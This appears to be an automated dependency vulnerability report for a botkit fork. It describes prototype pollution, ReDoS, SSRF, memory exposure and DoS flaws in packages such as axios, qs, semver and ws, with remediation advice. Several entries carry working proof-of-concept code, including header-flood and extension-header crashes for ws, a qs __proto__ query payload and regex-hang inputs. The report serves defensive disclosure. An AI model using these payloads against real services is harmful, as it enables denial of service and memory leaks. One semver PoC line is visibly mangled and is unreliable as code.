For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.31.1, 1.15.2 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: https-proxy-agent
  • Introduced through: https-proxy-agent@1.0.0

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD https-proxy-agent@1.0.0
    Remediation: Upgrade to https-proxy-agent@2.2.0.

Overview

https-proxy-agent is a module that provides an http.Agent implementation that connects to a specified HTTP or HTTPS proxy server, and can be used with the built-in https module.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to passing unsanitized options to Buffer(arg).

Note This is vulnerable only for Node <=4

PoC

// listen with: nc -l -p 8080

var url = require('url');
var https = require('https');
var HttpsProxyAgent = require('https-proxy-agent');

var proxy = {
  protocol: 'http:',
  host: "127.0.0.1",
  port: 8080
};

proxy.auth = 500; // a number as 'auth'
var opts = url.parse('https://example.com/');
var agent = new HttpsProxyAgent(proxy);
opts.agent = agent;
https.get(opts);

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade https-proxy-agent to version 2.2.0 or higher.

References

high severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the shouldBypassProxy function. An attacker can access internal or metadata endpoints by crafting request URLs in IPv4-mapped IPv6 notation, bypassing proxy exclusions. This can result in exposure of sensitive information, such as credentials, especially in cloud environments where instance metadata services are present.

Note: This is only exploitable if the attacker can control the request URL and the application is configured with NO_PROXY to exclude internal or metadata endpoints while using an HTTP/HTTPS proxy.

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

high severity

Uninitialized Memory Exposure

  • Vulnerable module: bl
  • Introduced through: twilio@2.11.1

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD twilio@2.11.1 request@2.74.0 bl@1.1.2
    Remediation: Upgrade to twilio@3.41.0.

Overview

bl is a library that allows you to collect buffers and access with a standard readable buffer interface.

Affected versions of this package are vulnerable to Uninitialized Memory Exposure. If user input ends up in consume() argument and can become negative, BufferList state can be corrupted, tricking it into exposing uninitialized memory via regular .slice() calls.

PoC by chalker

const { BufferList } = require('bl')
const secret = require('crypto').randomBytes(256)
for (let i = 0; i < 1e6; i++) {
  const clone = Buffer.from(secret)
  const bl = new BufferList()
  bl.append(Buffer.from('a'))
  bl.consume(-1024)
  const buf = bl.slice(1)
  if (buf.indexOf(clone) !== -1) {
    console.error(`Match (at ${i})`, buf)
  }
}

Remediation

Upgrade bl to version 2.2.1, 3.0.1, 4.0.3, 1.2.3 or higher.

References

high severity

Improper Removal of Sensitive Information Before Storage or Transfer

  • Vulnerable module: follow-redirects
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0 follow-redirects@1.5.10
    Remediation: Upgrade to localtunnel@2.0.1.

Overview

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer in the cross-domain redirects that do not strip custom authentication headers (such as X-API-Key, X-Auth-Token, Api-Key, Token). An attacker can obtain sensitive authentication headers by triggering a cross-domain redirect that causes custom authentication headers to be forwarded to an attacker-controlled domain.

Remediation

Upgrade follow-redirects to version 1.16.0 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: axios
  • Introduced through: localtunnel@1.9.2

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD localtunnel@1.9.2 axios@0.19.0
    Remediation: Upgrade to localtunnel@2.0.2.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the trim function.

PoC

// poc.js

var {trim} = require("axios/lib/utils");

function build_blank (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}

return ret + "1";
}

var time = Date.now();
trim(build_blank(50000))
var time_cost = Date.now() - time;
console.log("time_cost: " + time_cost)

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade axios to version 0.21.3 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: chrono-node
  • Introduced through: botbuilder@3.30.0

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD botbuilder@3.30.0 chrono-node@1.4.9
    Remediation: Upgrade to botbuilder@4.0.6.

Overview

chrono-node is an A natural language date parser in Javascript

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It hangs on a date-like string with lots of embedded spaces.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade chrono-node to version 2.2.4 or higher.

References

high severity

Prototype Override Protection Bypass

  • Vulnerable module: qs
  • Introduced through: ciscospark@0.7.93

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
    Remediation: Upgrade to ciscospark@1.28.4.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-logger@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
    Remediation: Upgrade to ciscospark@1.28.4.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-people@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
    Remediation: Upgrade to ciscospark@1.28.4.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
    Remediation: Upgrade to ciscospark@1.28.4.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/storage-adapter-local-storage@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
    Remediation: Upgrade to ciscospark@1.28.4.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Prototype Override Protection Bypass. By default qs protects against attacks that attempt to overwrite an object's existing prototype properties, such as toString(), hasOwnProperty(),etc.

From qs documentation:

By default parameters that would overwrite properties on the object prototype are ignored, if you wish to keep the data from those fields either use plainObjects as mentioned above, or set allowPrototypes to true which will allow user input to overwrite those properties. WARNING It is generally a bad idea to enable this option as it can cause problems when attempting to use the properties that have been overwritten. Always be careful with this option.

Overwriting these properties can impact application logic, potentially allowing attackers to work around security controls, modify data, make the application unstable and more.

In versions of the package affected by this vulnerability, it is possible to circumvent this protection and overwrite prototype properties and functions by prefixing the name of the parameter with [ or ]. e.g. qs.parse("]=toString") will return {toString = true}, as a result, calling toString() on the object will throw an exception.

Example:

qs.parse('toString=foo', { allowPrototypes: false })
// {}

qs.parse("]=toString", { allowPrototypes: false })
// {toString = true} <== prototype overwritten

For more information, you can check out our blog.

Disclosure Timeline

  • February 13th, 2017 - Reported the issue to package owner.
  • February 13th, 2017 - Issue acknowledged by package owner.
  • February 16th, 2017 - Partial fix released in versions 6.0.3, 6.1.1, 6.2.2, 6.3.1.
  • March 6th, 2017 - Final fix released in versions 6.4.0,6.3.2, 6.2.3, 6.1.2 and 6.0.4

Remediation

Upgrade qs to version 6.0.4, 6.1.2, 6.2.3, 6.3.2 or higher.

References

high severity

Prototype Poisoning

  • Vulnerable module: qs
  • Introduced through: ciscospark@0.7.93

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
    Remediation: Upgrade to ciscospark@1.28.4.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-logger@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
    Remediation: Upgrade to ciscospark@1.28.4.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-people@0.7.93 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
    Remediation: Upgrade to ciscospark@1.28.4.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
    Remediation: Upgrade to ciscospark@1.28.4.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/storage-adapter-local-storage@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
    Remediation: Upgrade to ciscospark@1.28.4.
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-metrics@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1
  • Introduced through: botkit@christopheraparicio/botkit#HEAD ciscospark@0.7.93 @ciscospark/plugin-phone@0.7.87 @ciscospark/plugin-locus@0.7.87 @ciscospark/plugin-mercury@0.7.87 @ciscospark/plugin-feature@0.7.87 @ciscospark/plugin-wdm@0.7.87 @ciscospark/spark-core@0.7.87 @ciscospark/http-core@0.7.87 qs@5.2.1

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Prototype Poisoning which allows attackers to cause a Node process to hang, processing an Array object whose prototype has been replaced by one with an excessive length value.

Note: In many typical Express use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade qs to version 6.2.4, 6.3.3, 6.4.1, 6.5.3, 6.6.1, 6.7.3, 6.8.3, 6.9.7, 6.10.3 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: semver
  • Introduced through: https-proxy-agent@1.0.0

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD https-proxy-agent@1.0.0 agent-base@2.1.1 semver@5.0.3

Overview

semver is a semantic version parser used by npm.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

PoC


const semver = require('semver')
const lengths_2 = [2000, 4000, 8000, 16000, 32000, 64000, 128000]

console.log("n[+] Valid range - Test payloads")
for (let i = 0; i =1.2.3' + ' '.repeat(lengths_2[i]) + '<1.3.0';
const start = Date.now()
semver.validRange(value)
// semver.minVersion(value)
// semver.maxSatisfying(["1.2.3"], value)
// semver.minSatisfying(["1.2.3"], value)
// new semver.Range(value, {})

const end = Date.now();
console.log('length=%d, time=%d ms', value.length, end - start);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade semver to version 5.7.2, 6.3.1, 7.5.2 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: ws
  • Introduced through: ws@2.3.1

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD ws@2.3.1
    Remediation: Upgrade to ws@5.2.4.

Overview

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Denial of Service (DoS) when the number of received headers exceed the server.maxHeadersCount or request.maxHeadersCount threshold.

Workaround

This issue can be mitigating by following these steps:

  1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.

  2. Set server.maxHeadersCount to 0 so that no limit is applied.

PoC


const http = require('http');
const WebSocket = require('ws');

const server = http.createServer();

const wss = new WebSocket.Server({ server });

server.listen(function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: server.address().port
  });

  request.end();
});

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade ws to version 5.2.4, 6.2.3, 7.5.10, 8.17.1 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: ws
  • Introduced through: ws@2.3.1

Detailed paths

  • Introduced through: botkit@christopheraparicio/botkit#HEAD ws@2.3.1
    Remediation: Upgrade to ws@3.3.1.

Overview

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Denial of Service (DoS) attacks. A specially crafted value of the Sec-WebSocket-Extensions header that used Object.prototype property names as extension or parameter names could be used to make a ws server crash.

PoC:

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade ws to version 1.1.5, 3.3.1 or higher.

References

high severity

